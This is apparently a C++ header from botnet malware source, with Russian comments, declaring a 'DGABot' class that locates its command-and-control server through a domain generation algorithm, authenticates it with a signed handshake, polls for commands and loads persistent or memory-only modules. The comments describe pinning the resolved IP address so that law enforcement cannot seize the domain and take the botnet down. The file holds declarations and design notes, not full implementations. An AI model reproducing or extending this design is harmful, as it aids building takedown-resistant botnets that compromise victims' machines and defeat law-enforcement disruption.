#pragma once

#include "global.hpp"
#include "BotSession.hpp"
#include "dga.hpp"
#include "json_builder.hpp"
#include "NetChannel.hpp"
#include "protoparser.hpp"
#include "operationdispatcher.hpp"
#include "modulesystem.hpp"

// отвечает за коммуникацию с управляющим сервером

// delay основного цикла поиска сервера, хендшейка и коммуникации
#define DELAY_MAINPROCESS 1000
// delay обращения за командами / загрузкой модулей и так далее
#define DELAY_COMMUNICATION_TIMEOUT 60 * 1000
// delay повторной попытки соединения если она провалилась
#define INTERNET_CONNECTION_DELAY_RETRY 10 * 1000
// максимальное количество повторных попыток прежде чем начать снова искать сервер
#define MAX_RETRY_COUNT 6

class IBot
{
public:
	virtual ~IBot() = default;
	virtual BOOL start() = 0;
};

// бот стучит через DGA следующим образом:
// 0) инициализирует сессию: генерирует псевдослучайную строку, а также собирает информацию о хостовом процессе и его разрядности
// 1) активирует DGA и ищет поочередно домен, который срезолвится, сохраняя информацию о домене в виде A записи, делая в последствии отстук по заранее резолвнутому айпи адресу
// 2) устанавливает с ним рукопожатие, если прошло неуспешно, то повторяет пункт 1
// 2.1) рукопожатие: шлет информацию об активной сессии: псевдослучайный идентификатор сессии, информацию о хостовом процессе и его разрядности
// 2.2) сервер произодит подпись пседослучайного идентификатора сессии и домена, после чего производит ответ, бот проверяет
// 2.3) если проверка подписи провалилась, то бот повторяет пункт 1 для поиска настоящего домена
// 2.4) для всех отстуков на сервер используется IP адрес принадлежавший домену на момент его резолва в DGA, а в заголовки явно будет добавляться host: domain для роутинга
// такой финт ушами позволит предотвратить возможность отзыва домена и его моментальной перерегистрации правохранительными органами для того, чтобы убить ботнет
// поскольку после рукопожатия отстук производится на один и тот же валидированный айпи адрес
// 
// 3) опрашивает найденный сервер каждый N период времени за командами
// если сервер перестал отвечать, то бот начинает сначала с 0-го пункта, переинициализируя сессию
// переинициализация требуется на случай тейкдауна любого узла на пути к серверу и попыткой отправить модули уничтожающие ботнет
//
// Типы модулей:
// 1) Персистентные модули - отдаются один раз при первом самом отстуке (заражении машины) и сохраняются в vfs, загружаясь каждый старт бота с диска
// 2) Инмемори модули - такие модули никогда не пишутся на диск, отдаватьс могут когда угодно
// Каждый из модулей может быть отдан вручную не смотря на текущее состояние сессии: новая, старая или какая там еще

// При отстуке с "op": "knock" отдается массив с тем что делать: какие команды ("op": "command"), модули ("op": "module") отдавать и так далее

class DGABot : protected IBot
{
public:
	DGABot();
	~DGABot();
	BOOL start();
private:
	// инициализирует (или переиницализирует сессию)
	BOOL init_session();
	// находит сервер: активирует дга находя домен и производя его аутентификацию через хендшейк
	BOOL find_server();
	// производит хендшейк: отправляет служебную сессионную информацию на сервер, ожидая увидеть в ответ валидный подписанный ответ 
	BOOL perform_handshake();
	// собирает джсон строку для отправки на сервер
	PWCHAR prepare_handshake_json(JsonBuilder *jbuilder);
	// валидирует ответ и проверяет подпись
	BOOL validate_handshake(PCHAR pchAllegedJson, SIZE_T dwResponseSize);
	// собирает джсон строку для отправки на сервер
	PWCHAR prepare_knock_json(JsonBuilder *jbuilder);
	// добавляет информацию о текущем процессе, модульной системе и VFS
	VOID add_runtimeinfo(JsonBuilder *jbuilder);
	// начинает общение с сервером, если возвращает FALSE, то что-то пошло не так и надо произвести поиск сервера с нуля
	BOOL communicate_server();
	BOOL try_connect(PWCHAR pwchDomainName, LPBYTE lpKnockJson, SIZE_T dwKnockJsonLength, LPBYTE *lpResponse, SIZE_T *dwSize);
	BOOL sleep();
	ISession *session;
	IDomainGenerator *dga;
	IControlServer *communicator;
	IProtocolParser *proto_parser;
	IOperationDispatcher *dispatcher;
	IModuleSystem *msystem;
	IN_ADDR ipaddr;
	WCHAR wchIP[32]; 
};